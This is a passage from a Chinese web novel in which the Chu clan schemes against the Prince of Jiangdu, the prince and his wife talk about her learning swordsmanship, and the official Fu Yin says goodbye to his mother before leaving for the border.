家族内部出现分歧,这是褚之彦不能容许的。今日头一件事情便是要解决这个问题。好在这种“及时止损”的声音只是一小部分,今日召集来的这几人,与他们统一意见,回头便可将它们压下。 “他们懂什么?尽是一群短视之人,只看得见眼前的这点东西了。”褚之邑头一个骂出声,拍胸脯将事情揽下来,冷笑道,“回头我就将那些只知道张嘴干咧咧的玩意儿收拾一顿看他们还敢不老实?” “欲成大事,怎可只计较细枝末节。前怕狼后怕虎,畏畏缩缩,何事能成?” “从龙岂是易事。不立下功绩,将来当如何论功行赏?” 其余两人也是不同意褚氏内部出现的一些关于“及时止损”的论调的。 开什么玩笑?褚氏走到今天,付出了多少,不仅仅是褚之彦搭进去一个嫡长女的事情,还有褚氏这些年那么多的付出,光光是为这些考虑就不可能收手。更何况如今的褚氏已经与定安王深度绑定了,谁都知道褚氏是定安王的岳家,想要抽身乃至改弦易辙哪有那般容易。不说其他,定安王就不可能会善罢甘休。 这事说要紧也要紧,但也很好解决,因为在坐的皆是当前褚氏最有威望权力的人,只要他们的意见统一了,其余人就算有再多的不满也翻不了天。 “江都王娶定国公之女为妃,此事还得计较一番。” 说完了褚氏内部的事情,议题很快就转回了江都王娶妃这件事情上来。不是说在江都王迎娶定国公之女这件既成的事情上还有什么回旋余地,而是他们不能眼睁睁看着江都王将定国公府彻底绑定在自己的船上。 定国公能成为皇帝信赖的心腹重臣,心里是很有一把尺子的,他只会听从皇帝的号令。即便是皇帝将他的女儿指给了江都王做王妃,也不会意味着他会参与到当前皇嗣之间的争夺之中来。但此时不会不代表将来不会,他们还是要多做准备。 在这件事情上,他们目前能做的便是尽量离间江都王与王妃之间的关系。据传定国公对这位长女颇为疼爱,一个与他女儿关系不睦甚至有很深裂痕的女婿,定国公即便是真的想要下场,心里只怕也会有不少膈应和疑虑的吧。 那要如何离间江都王与王妃之间的关系?——献美。 对于一个男人来说,美人计永远是最简单直接也是最有效的。哪有男人不爱美人、不花心的?尤其是这个男人还是身居高位、大权在握的诸侯王。此计不仅是出于离间江都王夫妇的需要,也是为了方便褚氏在江都王身边安插自己人,监视王宫的动向。 说到安插人这事,提前来也着实是令人恼恨。如今的江都王宫守得跟铁桶一般,他们费尽心思安插进去的人跟韭菜似的,一茬一茬地往里送,也一茬一茬地被清出来。王宫里面的动向如何,褚氏完全是两眼一抹黑。 这样不行,褚氏一直如此被动是大大不利。 这事是由褚宗铭提出来的。褚之彦等人沉吟后皆颔首认可了。 褚宗锒有不同意见,但他第一次参与这样的议事,颇有些忐忑,不是很敢言。褚宗铭瞧见了他露出不赞同之色,眯了眯眼,问道:“二弟似乎别有高见?” “在父亲与各位叔伯面前,何谈高见。”褚宗锒一惊,见褚之彦他们都看向他,勉强镇定心神,说道,“昨日宫宴是何情形我们也看到了,江都王对那些女子全然不假辞色,甚至半分目光都不曾有。此计怕是难以行得通。” 昨夜宴上面容姣好映丽之女子不在少数,江都王可曾理会过她们、看过她们半点?就连她们假意给王妃敬酒博取江都王注意,江都王看的也不是她们,甚至还因为她们连番给王妃敬酒而心生不悦。对待王妃如此用心周到、拳拳维护,江都王真的会接纳其他女子么? “侄儿你还是太年轻了。”褚之邑发出朗笑声,“还需要多历练啊。” “目下新婚燕尔,自然是情意绵绵、你侬我侬,可日子久了,情况就未必了。”另一人,也就是那位褚氏女婿说道。 褚之彦亦淡淡看了他一眼,他只得退下,不再多言了。 计策定下,接下来便是商讨如何操作的问题。这献美也是有讲究的,首先是选人的问题。毕竟若要达成他们的目的,人选的皮相优越这只是最基础的要求。这世上美人百千种,各有千秋。他们要给江都王献美,自然是要挑选江都王喜欢类型。但光有美貌还不足够,草包美人晒必不可取的。她得具备一定的心计,最重要的是能够被完全掌握在他们的手里,彻底为他们所用。 褚氏女不可选,江都王是不可能纳褚氏女的。他们需要的是身家来历可查、明面上与褚氏毫无关系的人。这样的人可不好找,还需要细细寻摸才是。 这件事情短时间是着急不来的,还得从长计议。与后面要说的事情相比,这只是一件小事,但是需要有人去做。只是,要交给谁去办? 褚之彦的目光在两个儿子之间走了一圈,最后停留在褚宗锒身上,“这件事情交给你去做,不要让我失望。” 褚宗锒知道这是对他的一个历练和考验,做得好了日后才会有更多的机会给予他。可对于这个差事,他内心颇为抵触,但他也知道自己没得选。所以,只犹豫了不到半息的时间,他当即应道:“我当竭力去办此事,必不会让父亲与叔伯失望。” 这事议过也过了,接下来要议得的是今日议事的重中之重。 “过不了多久就是冬日了,离渊那边短期内是不会出结果的。”褚之邑面色凝重,一双浓密的大刀眉向上斜飞耸起,“从离渊传回来的消息说离渊好几处湖泊似乎出现好几处大的水源枯竭的迹象,天也一日比一日冷了。”- 作者有话说:这周的榜单补完了,五一要去浪了。 第95章 褚氏的谋算 离渊的版图看着辽阔, 甚至与大衍相差无几,但地理环境以及宜居条件可是差得远,国土中有很大一部分是荒漠戈壁, 水资源匮乏,只靠几个大的湖泊以及一条大河供给饮水。土地也多贫瘠,许多在大衍这边可以遍地开花的作物都不能够种植,也就是几个大型的草场水草足够肥美,适合放牧牛羊。且那里的气候多数时候以干冷为主, 冬日时更是如此, 但热的时候甚至能把人给热死。 这样的生存环境其实对离渊人并不友好, 碰上极其艰难时候,极度有限的生存资源使得他们抱团取暖, 去掠夺别人的资源来维持自己的生存,因此部族与部族之间经常爆发争端从而引发征战掠夺。 每年的冬日对于离渊人来说都算是一个挑战, 好不好过得看老天爷赏不赏脸。但以目下离渊那边传回来的消息来看,似乎是要过不好了。 没有水, 草场上的草都长不起来, 牛羊吃不到草就得饿死。牛羊饿死了, 离渊人的食物就减少了。最重要的是饮用水也减少了,人不吃东西还可以顶个五六日,没有水喝不出三日就得渴死。 在这种情况下,离渊必然要做出行动去应对。按照过去的经验,往往是派遣骑兵南下劫掠。而偏偏这时候又赶上了新旧汗王交替的紧要关头,实力最强的三个汗王继承人正处在焦灼对持之时。这二者一叠加起来,离渊与大衍开战的可能性就更高了。 褚之彦面色微沉,“定安王的意思是在大衍与离渊的战事之中,阻止江都王获取战功。” 话说的很明白, 在场之人都知道定安王这么要求是为了什么。与一众兄弟相比,文治武功之中,目前定安王最能拿得出手的就是武功。说实话,其实论文治,定安王比起江都王还是差了一截的。定安王自己也知道,所以他要“扬长”,同时遏制其他兄弟在这条道路的发展。 这次岁贡回京,让定安王对他的那些个兄弟的了解更进了一步。 长夏王荒诞不经,之前在湛京对椒房出言不逊,让皇帝对他生了几分厌恶,削掉的封地至今也没有松口要还回去,朝野之间对他多有贬抑。而山阳王还是小屁孩一个,遇事就唯唯诺诺的,平时恨不得把自己缩起来让人不要注意到他。余下的两个皇子还都是小崽子,不足为虑。思来想去,依旧还是老五江都王给他的威胁最大。 这些年有褚氏在江都给他做内应,使得他对江都这边的情况了解得相当多,虽然这些年褚氏反馈说因为江都王一方的严防死守致使情报获取难度加大、情报是一年比一年少,但之前了解的那些大体不会错。 文治武功,文治一项,端看如今的江都在百里漾的治理下如何欣欣向荣就知道了。至于武功一项,据说百里漾每日勤练武艺,与他对打过招之人是崔栋,崔栋的本事如何,定安王还是知晓一二的。加上之前在越国长公主然溪山的别业之中百里漾与顾晟开比箭时展现出的实力,定安王心中升起的忌惮就更难以消下去了。 眼看着大衍与离渊将有一战,江都国那边必然也会投入兵力参战。定安王是想以军功在众兄弟中一枝独秀,自然也要防着其他兄弟在这个赛道上超越他。若是连这点他都比不过百里漾,那他还玩什么? 褚之邑听着将眉毛拧得更紧了,他脾气暴,当即说道:“两国交战,兹事体大,岂可轻忽?稍有不慎,恐有全军覆没之危。” 若非褚之彦这几人在眼前,他都要对定安王破口大骂了,习武从戎这么多年听到学到的脏话都能全部喷到定安王脸上。 真是疯了不成,即便是要给江都王下绊子,也决不能是在这样要紧的事情上。定安王是想当太子想疯了么,什么阴招都耍得出来了?褚氏支持的竟是这种货色不成? 在场几人多少是知道几分褚之邑的脾性的,见他骤然暴跳如雷也不意外,只是耳朵被震了一震颇为不适,他们没有急于表态,但眉头却是不约而同地蹙起,或深思,或无法理解,或抗拒,其余更多的则藏在眼眸的更深处。 “三位叔伯稍安勿躁,定安王并非这个意思。”褚之彦没有解释,说话的是褚宗铭,“与离渊的战事自然紧要,他的指示是在恰当的时候。” 什么是恰当的时候? 这就是让他们见机行事了。也就是说该不该下手、何时下手、下手的分寸在哪里全都由他们掌握。在不影响大局的情况下,阻止江都王立功或者说阻止他立下大功劳使其越到定安王前头去。 如果是这样的话,也并非不能接受。 褚之邑脸上的愤怒消退,替代的是一种若有所思的神色,这说明他有在思考这件事情的可行性以及可操作性。 与他同来的其余两人亦是如此。 褚之彦与褚宗铭父子眼见如此,神色稍缓。至少从这件事情可以看出,褚氏内部虽然有分歧,但依旧还在可控范围之内。 褚宗锒眼神挣扎,即便是“在顾全大局的前提下再见机行事”,他还是觉得此事不可为。但在场的人,从他的父兄再到叔伯,皆同意了要做这件事情,他不同意也改变不了什么,他也没有立场和足够的地位去说不赞同的话。 他在这间书房里存在着,却只能默默隐身。他尽量缩小自己的存在感,别人也似乎当他不存在。就如同这里伺候的婢女,他们想起来了才会招呼他一声,也不过是吩咐他去做一些杂事罢了。 就这样,褚之彦等人敲定了在大衍与离渊的战事之中趁机给江都王使绊子从而达到阻止其立下令人瞩目的战功的意见。这只是初步意见,具体如何实施现在商讨并没有意义。 这场褚氏内部掌权者的议事到这里紧要的都说的差不多了。后面的谈话更多的像是在闲聊,聊聊家中的小辈姻亲,近来的学业官途官途如何,是否可以提携某个上进的小辈,姻亲下属惹出事闯了点祸能否帮忙摆平,具体要如何操作,等等。 这么一通说下来,时间很快就过去。等仆从过来提醒说午饭时间到了,几人才惊觉已快过午了。褚之彦留褚之邑三人用了饭再走,又带着两个儿子亲自送人至门口,目送他们登车或骑马离开。 在折返回去的路上,褚之彦忽然问起了幼子褚宗铉,“他近日在做什么,可在家中?”他突然顿步转身,后头跟随的褚宗铭和褚宗锒赶紧止步,以免撞到他。 褚之彦问话的同时目光扫过两个儿子,只在褚宗锒身上停留一会儿后便转向了褚宗铭,等着他回答。次子管不住幼子,长子却是行的。 “眼下三弟不在家中,出门前说是同窗举办了品书会,邀他前往参加。”面对父亲的询问,褚宗铭不敢为弟弟说谎,但也尽量捡好听的说。 褚之彦:“品书会?即便真有人办了这聚会,他会是去老老实实研读诗书的?” 这话褚宗铭不敢接。一母同胞的弟弟是什么德性他不敢说全部了解但也知道八九分,品书会只是一个好听的说辞,真实情况八成是人不知跑到何处去厮混了。 “这混账东西。”褚之彦对于幼子褚宗铉上一次因为“易田”闹出来的风波麻烦仍然余怒未消。近两年来褚氏在江都的处境逐渐艰难,江都王就等着抓褚氏的把柄,他每日处心积虑想着如何周旋保全家族,这混账东西倒好,生生将把柄递到对方手上。 上一次的事情对褚氏虽说算不上伤筋动骨,可也很是丢了一次脸面,还连带着惹得不少人对褚氏生了不少嫌隙。虽然这些人不会因此与褚氏对立,但他们的怨气却不能放任不管,还是要耗费心神去抚平的,褚氏不免要出点血。而这事罪魁祸首是褚宗铉,大头不免要他们这一支出。而惹出了这样的祸事,褚宗铉不在家中反省竟还敢跑出去厮混? 褚之彦想起这段时间以来褚氏内部对他升起的怨言与不满,顿时气不打一处来。他定定看着长子,面上覆满了冰冷的怒意,“你现在就去将他捉回来,压到祠堂打十板子,禁闭五日,只给他吃喝。若是让我知道你心慈手软放水,你也不用到我跟前来了。” 这让褚宗铭想要求情的话直接咽了回去,面对父亲的冰冷严厉,他只能应下,“儿子遵命。” “你告诉他近来最好给我安分些,否则他也不必当我的儿子了。”褚之彦最后撂下狠话离开了,让褚宗铭和褚宗锒不必跟着了。 “二弟不是得了父亲吩咐的差事么,也别闲着,尽快办好了也能给父亲分忧。”看着褚宗锒一直在旁边杵着,褚宗铭心里烦躁,说出的话语气也不好,甚至还夹杂着些许阴阳怪气。 褚宗锒听了不以为意,这样的情况他也不是第一次面对了。对褚宗铭拱手,说道:“那弟弟这就告退了。” 看着褚宗锒离开的背影,褚宗铭眼睛微眯起,眼里波光晦暗不定。这时他身边伺候的人上前来试探问道:“大公子,我们可要去寻三公子?” “怎么不去,父亲的命令谁敢违逆。”提起那个不省心的胞弟,褚宗铭心中躁气更甚,“你找人去将他带回来,不要手软,这事也不要传到老太太那边。他若是不服,就将父亲的话告诉他。” 纵然是向来较为纵容褚宗铉的褚宗铭,这次也觉得褚宗铉这次因为“换田”惹出来的祸事有点大了。以前只是觉得弟弟年幼还不懂事,如今看来确实是太不懂事了。家中是何情形他不管,只知道自己厮混,长这么大了不知为父兄长辈分忧也就罢了,惹出祸事还要父兄为他擦屁股摆平。 吃点教训也好,也该让他长长记性了。 侍从连忙应下,心想这次三公子怕是又要吃一番苦头了,这次连大公子求情都没有用了。 褚氏的谋划和糟心事前者百里漾这边尚且无从得知,后者则是并不关心,他明日就要启程去边境巡视了,今日白日处理完积压的事务之后,夜里则是在收拾行李。 其实说是收拾行李,也基本不用百里漾亲自动手,有人帮他准备,柳姑姑不放心还重新检查了一遍,最后让百里漾看看是否还有缺的。 百里漾正在擦拭一柄宝剑。细软的绸布抹上用以保养的油,均匀地抹到剑身的每一处,再拿捏一个合适的力度细细擦拭,最后再以崭新的绸布将剑身擦拭干净。剑身便雪白明亮,光可照人。 “大王这剑甚好,出鞘则锋芒毕露,定能助大王立斩敌首。”颜漪在旁边帮着递东西,对百里漾手中的这柄剑多有欣赏赞美之意。 百里漾见她似乎喜欢,正好剑也擦好了,将其往前递了递,“要看看么?” 颜漪当然不会拒绝,她直接握上了剑柄,手腕反转间挽了一个干脆利落的漂亮剑花。从百里漾的角度看到了王妃映在雪白剑身上的精致漂亮的眉眼,透着一股飒爽的英气。 第96章 剑 百里漾看呆了, 回神之后赶紧凑到颜漪身边,一双浓眉大眼亮晶晶的,“七娘以前习过剑么?方才挽的剑花好生漂亮。” 他想起定国公是武将出身, 教习儿女练武也属正常。只是此前他所见到的颜漪都是仪态端庄、气度高华的高门贵女形象,此时乍见她手提宝剑、出手即生花的飒爽洒脱之姿,不由得即惊又喜,甚至想让颜漪再舞几招剑式看看。但这样不是很好,虽然他很像在再多看看方才的那一幕, 所以他只是开口询问。 “幼时学过一段时间, 后来就不怎么学了, 如今还记住一些简单的招式。”看着百里漾那双亮闪闪的眼睛,颜漪握住剑柄的食指微动摩挲了一下上面的刻花纹路, 眉眼微微垂下,目光落在了被周围的烛光反照出一片光亮的雪白剑身上, 轻声说道。 “怎么不学了呢?”百里漾不免觉得遗憾,他看得出来颜漪在这一道还是有很不错的天分的, 半途而止实在是有些可惜了。他一直觉得, 在这个世道, 无论是什么身份多学点可以傍身保命的技能总归是好的,尤其是女孩子,任何时候都需要有能力保护好自己。 颜漪道:“父亲事务繁忙,教导我们的时间愈来愈少。且随着年岁增长,我亦要学习一些其他的东西,渐渐的便没有那么多闲暇了。” 百里漾忽然就哑然了。 这个时代对于女子的束缚虽说相对前朝宽松了一些,但也仅仅只是一点而已,世俗对于女子的要求依旧还是贤淑贞静、相夫教子那一套。相比于下层的百姓之家,这套要求在世家权贵上层执行得更为严苛, 因为男性掌权者以这套标准来挑选妻子,所以这些权贵们的女儿日后想要得到好的姻缘就必须接受这方面的培养。 纵然颜漪身为风气更为开放轻松的武将之后,也只是在幼年时享受了一段相对不那么受束缚的时光,长到一定年岁之后依旧是要迈入那一套培养体系之中去的。 而所谓的“事务繁忙,无暇教导”不过是一种好听的说辞罢了。定国公有二子,走的也是武将武官的路子,听说武艺皆超群,自小是由定国公亲自操练出来的,怎么“无暇教导”的事情没有发生在他们身上? 百里漾一方面觉得庆幸,庆幸自己是投胎成了这个时代里的男性,虽然一开始是有点难以接受,但不得不承认的是,这具身体的确给他带来许多优势以及红利,这已经是极好的天选开局了。另一方面,在看到如颜漪这样被束缚乃至限制住的女性,他又忍不住叹息同情。 或许是百里漾面部神情过于生动,颜漪很轻易地就猜测到了他的内心所想,此前那种有过很多次的惊异好奇再一次出现了,她真的很奇异于身为江都王的百里漾会有这样出人意料且不符合身份的想法,也觉得庆幸与欢喜,心跳的速度似乎也变得更快了。 “没关系的,若是还喜欢,我们现在学也来得及。”百里漾安慰道,他是真的觉得可惜。 剑者,君子也。 受前世看过的那些影视作品的影响,百里漾一直觉得在所有的兵器里剑的用法最是潇洒帅气。其实他这么想也没有错,于这个时代而言,这个认知也是大众认知。大家公认,剑,兵之君子也。许多人在参赴一些大型重要场合时,为了增加身上的威仪气度,身上往往是佩剑的。再往前百年,公卿大臣凡出门游宴,乃至入朝参政都是腰悬宝剑的。 百里漾回忆着颜漪方才挽出的那个漂亮至极的剑花,若是真正将一套剑法舞下来不知道又是何等引人入胜的美景。况且这剑再是如何如君子端方也是杀人器,若是真的能做到“十步杀一人,千里不留行”,那该是何等的洒脱自如。 这般想着,他心头不免都有些火热了。 这人怎么一副如此希冀自己去学剑法的期待。颜漪不免觉得好笑,她唇角勾起的弧度让百里漾觉得早春明媚的春光也不过如此。 “大王不会觉得女子习武过于粗鲁了么?”颜漪问道。 “你怎么如此想?”百里漾讶异于颜漪的想法,转念想她应当是受了外界那些声音的影响,明明有所意动但却因为这些声音而踌躇心生退意,他放缓了声音,“Z这件事情应当取决于你的意愿与喜好,除你之外的其他人包括我都不是决定它的关键因素。” 也就是说,即便是他也不会以自己的喜好意愿来决定颜漪学不学这个东西。 颜漪听得心下微微动容,她大多数时候习惯了情绪内敛,这时候却生出了想要抱一抱百里漾的冲动。她也不是纠结犹豫的人,身随心动,两步上前就抱住了稍显错愕的百里漾,在他耳边轻身说道:“大王,嫁予你是我此生幸事。” 香风扑满怀,此时的百里漾大概就是这个感觉。他稳稳接住了自家王妃扑过来的腰身,有一种被突然表白的惊喜,耳朵泛起了一股酥麻绵密的痒意,心里好像有千万朵花在同时盛开。他觉得自己的耳朵整个都在发烫,想要闪躲颜漪看过来的目光却不舍得挪开,“能娶到你,我也觉得是此生幸事。” 王妃觉得嫁给他是此生的一件幸事,那他“礼尚往来”一下也不为过吧。 某人红彤彤的耳朵上火热的温度都要传到她的脸上了。颜漪忍不住发出一声闷笑声,近距离的传导很快就引起了耳膜的振动,百里漾觉得耳朵更痒了,他忍住羞意,问道:“王妃,你在笑什么?” 总不能因为他“礼尚往来”的表白吧?如果是这样的话,那他就要恼了。 “只是觉得大王很可爱。”颜漪依旧笑着回道。 有时候总感觉他们两个人之中,百里漾才是那个小媳妇。可爱么,自然是很可爱的。颜漪想到了年幼时曾经喂养过的一只雪白色的小兔子,也是这般,她若是伸手摸上兔耳朵,那耳朵就会一抖一抖的。若是她现在伸手摸上去眼前的这只红耳朵,不知道会不会也抖一抖。 想归想,颜漪还是暂且遗憾地放弃这个想法。 现在还是先不了,日后总有机会的。 可爱? 每每听到这个词的时候,百里漾都有点想去照镜子的冲动。自从十岁之后,很少有人用这个词汇来形容他了。以前小时候还能凭借着肉嘟嘟的相貌被阿娘阿娘阿兄他们说可爱,而自从就封之后,这个词汇就与他没有关系了。如今在颜漪口中听到,甚至还不是第一次,他觉得惊奇的同时心里还有不可言明的欢喜和羞涩。 她竟然说我“可爱”诶。 但百里漾面上还是强撑板着一张脸,“放肆,怎么能这么说本王。”他还很少有地对颜漪自称了“本王”。他如今是治理一地的一方诸侯王,掌权数年熏染出来的权威气势已让他能够轻而易举地做到不怒自威,板起脸时更是能唬得一堆臣子畏惧跪地请求息怒,这还真不是盖的。 偏偏颜漪不怕他,若不是顾忌着怕这人恼羞成怒不能戳破眼前这只纸老虎强装的“气势”,她都要再次闷笑出声了。她服软道:“好好好,妾身错了,大王能够宽恕妾身这一回么?”她说着求饶宽恕的话,语气里的惬意轻快却都要满满地溢出来了。 声音透过耳膜的振动再次直抵百里漾的心里,这次连带着心脏都开始发颤发痒了。他的王妃少有的轻声软语仿若在他的耳边撒娇,再有气也会消散,何况也没有真的生气。 颜漪这时已经松开了对百里漾的怀抱,温香软玉离开,他不舍也只是指间摩挲了下似在流连方才的感觉,面上轻咳一下,这下倒是不看颜漪的眼眸里,“也没有真的生气。” 他将之前保养好的剑从颜漪手中拿过来收好,还没忘记之前的话题,“若是真的想学了,还得选聘一位剑术了得的大师进宫来教授。只是目下江都还没有符合条件的合适人选,还得令人慢慢寻摸后再登门重金礼聘……” 百里漾的思维发散,一下子想了好多,首要的一点就是——要学就得学最好的,只有三招两下的花架子还不如不学。他看着颜漪,目光灼灼,自带两丈厚的滤镜,“古有公孙舞剑,一舞剑器动四方。王妃若学成,一定不逊色于她。” “公孙舞剑,一舞剑器动四方?”颜漪没有多在意百里漾的夸赞,反而是关注到他用来夸赞她的比对对象,都用上“古有”开头,那么这位姓公孙的剑术大师必然在典籍上是有记载的,那么,怎么她一点都没有听说过呢? 面对王妃疑惑看来的目光,百里漾心里一个咯噔,有点麻爪了,一不小心就把前世的记忆给带出来了。这个世界可是没有公孙娘子这个人的,自然也就不会有“一舞剑器动四方”的说法了。总不能说这是他上辈子从接受的教育之中知晓的吧,没办法只能打哈哈企图含糊混过去,“偶然在随手拿的一册残简里见到的。” 这话明显说不通。颜漪知道他没有说实话,但这不是非要刨根问底的大事,每个人都有自己的秘密,这也无可厚非。故而她虽然好奇,但也只是压下了自己的好奇心,也不会追问残简还在不在这种无意义的问题。 第97章 出发之前 “那就辛苦大王帮我寻觅名师教导了。”颜漪先谢过百里漾, 也等于是表态了自己继续学习剑术的意愿。能够寻求途径使自己变得强大,很少有人会拒绝这样的诱惑吧。别人不知道,但她肯定不会。况且经此一遭, 这件事情也算是在百里漾这里过了明路。 看着眼前人笑靥如花,百里漾心里也很高兴自家王妃对他的信任,他恨不得立即就请来一位剑术超绝的剑师进宫来,但理智上他也知道这事不是一时之功,一时半会儿还真就找不到合适的人选, 他又想给颜漪找最好的剑术师父。 颜漪当然也知道这事急不来也不能急, 当前最要紧的事情也不是给她找一个剑术师父, 而是边境和离渊的大事。她从百里漾的手中再次拿过了那柄剑,走到旁边的剑架边将其放上去, 回身说道:“时辰不早了,大王是该歇息了。明日不是还得动身前往边境么?” 百里漾顺从着被她拉着来到了床榻边, 也顺从着躺下,看着她给自己盖上被衾, 两只手搭在胸口位置上被衾的边缘压住, 眨巴着眼睛, 让颜漪有种这人似孩子般乖巧这样的不可思议的感觉。 无奈,颜漪只能伸手盖住百里漾的眼睛,声音轻柔,“大王,你该歇息了。” 眼前视线忽然被遮挡变成了一片黑暗,百里漾并没有闭眼,而是问颜漪,“王妃不困么?”不久前他看过滴漏,这时候已经不算早了, 按照以往的作息习惯,他们都该睡下了。难不成王妃还有什么紧急的事情要处理么? 似乎也没有吧,王宫的事务虽然也多,但这么些年下来早就形成了一套平稳有序运行的方法和规矩,之前又是柳姑姑在管着的,王妃只需要从她手中接过并习惯适应即可,前期需要花费的精力可能会大一些,但是,现在不该是好起来了么?莫非是出了什么大事? 他不睡,眼睛还睁着眨着,睫毛像小刷子一样不时轻扫过掌心最肉嫩的地方,带起了一点痒意。颜漪不得不收回手,重新对上百里漾的眼睛,顺带阻止他的思维发散,“大王的行囊,我还的去检查一番,未免有什么遗漏?” 她掂好被角转身要走,却被百里漾抬手拉住了,他笑,“那些东西我都检查过了,没有缺的了。”手腕上微微用力,人就被拉着扑倒了百里漾的怀里,还没有来得及惊呼,颜漪就被稳稳接住她的百里漾以吻封箴。 从湛京启程回来,一路舟车劳顿,回到江都之后又各自忙着处理事务,两人都有点脚不沾地的感觉,好不容易有一点闲暇都是挤出来的。明日百里漾又要赶往边境巡查军务,预定行程是一个月,但是这种事情变数很大,并不在大多数人的控制之内,一个月只是比较好的预期。即便之后百里漾能够处理完边境的事情回来,那也是至少一个月之后的事情了,这也就意味着他与颜漪至少要分离一个月的时间。 不舍么?自然是不舍的,但不能不去。 加上今夜百里漾见到颜漪随意潇洒的剑舞,他心里的悸动就如浪潮,一个浪潮接着一个,最终形成了滔滔海啸。他克制不了对颜漪的喜欢,从心理到身体都是。想到明日就要离别,百里漾顺从了自己的内心。当然,他也会尊重颜漪自己的意愿。 而颜漪的反应是,从一开始因为身体失去平衡紧紧抓住百里漾的衣襟到后来的渐渐松开,也是接纳了百里漾对她做得一切,默许了之后会发生的事情。 清晨,天光乍起,但没有完全驱散昨夜的黑暗,还剩下薄薄的一层,叠加在一起使得这天色像是被蒙住变得朦胧不清。视野所及不算很清晰,但鸡鸣三声之后,已经有人起床洗漱,开始了新的一日的忙碌。 人醒了,这座江都郡城也跟着醒来了。 位于江都郡城南城的静水巷从寅时开始,各户人家院子里就有了大大小小、不一的动静。这里是江都郡城稍边缘的区域,大大小小居住着二百多户人家,而这些大多数是平民百姓人家。不少人家做着小本生意,天不亮就要起床准备这一日的营生,或者家中成年的男人要赶着去上工,家中妻子老母要早起准备给他们这一日的吃食带去。 各家各户的院子里都升起了白色的炊烟,男女老少声音渐渐多了起来。在静水巷东侧的一户小院子里,主人家也醒来,洗漱穿衣之后,临行前最后检查一边自己的行囊确保没有遗漏该携带的东西。一刻钟之后,确保无误之后,他打开了房门,跨步而出,还没有走出院门,听到了背后房门打开带出的“吱呀”声。 “二郎你等等。”一个两鬓白霜的中年妇人急急喊住了儿子,另一只手里还拿着一包东西要递给他,“这些炊饼是我昨夜里烙好的,你拿着路上吃。” “娘您怎么还连夜做了这些?不是说了您不用操心,我是随大王外出办差,一路上怎么还能没有吃食。”傅殷连忙回身走到罗氏身边,接过了那包炊饼,隔着油纸还能感受到一点食物的温度,猜到母亲怕是刚歇下不久。昨夜他睡得沉了,这些他竟然都不知道。 感动之余,傅殷不免说道:“您忘了之前大夫怎么说的?您的身子骨需要好好静养,那些体力活您都不要做了。我现在是官了,养得起您也养得起家,您现在最重要的事情是把身子的亏损补回来。” “我知道,那些活计我都不会再干了。”罗氏看着一身行装即将远行的儿子,心里自然不舍,但也知道这次能够随大王出去办差是儿子一次极为难得的机会,她不愿意拖累儿子的前途,也不想儿子在外还要因为担心她而分神,满口答应下来。 只是,儿行千里母担忧,罗氏想到儿子这次至少要离开家一个月,哪有不牵挂忧虑的,人还没有出门就担心上了,叮嘱道:“遇事不要出头,大王让你做什么只管听命就是。” 她只是一个普通的妇人,甚至都不识得几个字,唯一会写的字就是自己和儿子的名字,还写得歪歪扭扭。她不知道儿子这次外出办差要做什么,也不明白官场里的生存博弈之道,她只是单纯地向儿子传授自己这些年不怎么平顺的生活积攒下来的生存之道。在她极其浅薄的认知之中,大王这样的存在就是天一样的存在,儿子只是一个小官,凡事听大王的话就是。忠君总是没有错的。 “阿娘您放心,我有分寸。”傅殷并不觉得母亲罗氏絮叨,所有的话都耐心听了也都应下了。他自然不会与罗氏细细说清楚这件差事以及背后的门道,真说了只会吓坏她,但他临行之前也有一些话要与罗氏说。 傅殷道:“我走之后可能会有一些人打着一些名义上门拜访,您不必拒绝,但若是他们提出什么要求您也绝对不能答应,尤其是我的婚事。” 他说的尤其郑重严肃,连带着罗氏也紧张了起来。虽然不明白为什么,但罗氏很有自知之明,知道自身的见识远远赶不上儿子,于是选择听从儿子的话,并保证道:“二郎你放心,娘不会给你随便定下媳妇的,总要你自己喜欢才行。” “新的宅子已经物色好,派人在打扫整理了,过几日就有人请您过去住了。等我走后就会有人来照顾您,您在家好生等儿子回来。”傅殷说完这些,朝罗氏躬身作别后就打开院门,骑马离开了。 罗氏连忙追出去几步,站在院门口,只看见儿子骑着马的身影渐行渐远,远远的还能听到马蹄的“哒哒”声在巷子里回响,但很快就被其他嘈杂的声音盖过了。 眨眼间院子里只剩下了自己一人,想到儿子至少一个月不得归家,罗氏不免惆怅,但也没有惆怅多久,左邻右舍听到动静又看到在门口送别儿子的她,一个个的都围上来说话了,言语之间万分热切,张口就是问傅殷这是要去哪里。 好几个月了,罗氏面对这样的热情仍然是有些适应不来,但她也是知礼的人,大家又都是街坊邻居,住在这里这么久了,低头不见抬头见的,总不好不回答的,所以她几乎是一一回答了,“好像是上官派他去外地办差,具体什么,我一个妇人哪懂这些。” “你家傅殷可真是出息了,听说他又升官了,看着前途就一片大好。你可真有福气,日后就等着享福了,这么多年的辛苦也算是到头了。” “那是马吧?我这辈子就没有见过这么俊的马。真是不得了,还是老嫂子您有远见,当初再苦再累也要坚持送你家二郎去读书。你家二郎也真是争气,不仅进了郡国学,学业还尤其优秀,年纪轻轻就当官了,还受到了那些大官的赏识。日后可千万别忘了我们啊。” 罗氏前半辈子基本上没怎么听过的好听奉承的话在这几个月里听到耳朵都快要起茧了,她如今每日出门或者是站在门口被人看到之后都要经历这么一遭,听多了都有些麻木了。不过她也是好脾气,无论这些人说什么都好声好气地应着,直到有人说到傅殷的婚事。 “你家二郎的年纪也不小了,他长相俊朗,如今又做着官,怕是不知道有多少小姑娘想着要嫁给他,你不帮着物色一个,来年好抱孙子孙女么?” 冷不丁有人提起傅殷的婚事,罗氏的脑子一下子就警醒了。她可是还记着前不久儿子临走时嘱咐她的话,无论谁谈起他的婚事,都不要答应,一切等他回来再说。于是她说道:“他的媳妇自然要他喜欢才好,我见识短,哪能替他去挑。” 罗氏这样的话必然不能打消这些人的热情。 如今这整个静水巷谁不知道傅殷出息了,成了官身不说,听说还得了大王的赏赐,眼看着前途无量,直接成为了这里所有人的金龟婿,不少人都动了心思想要将女儿嫁给他。虽然知道自家的身份已经与傅家完全不匹配了,人家都是官老爷了,不找那些大家小姐还回头娶他们这些小门小户平头百姓家的女儿,但万一呢。傅殷母子俩怎么说也在这里住了许多年了,他们好些人也算是看着傅殷长大的,有这样的情分在,试一试又怎么了? 如果能成,那就是天大的好事,连带着自己家都要发达了。 人性如此,无可厚非。况且傅殷又长得好看,从前还是穷书生的时候就有不少小姑娘暗搓搓地喜欢他,何况如今。 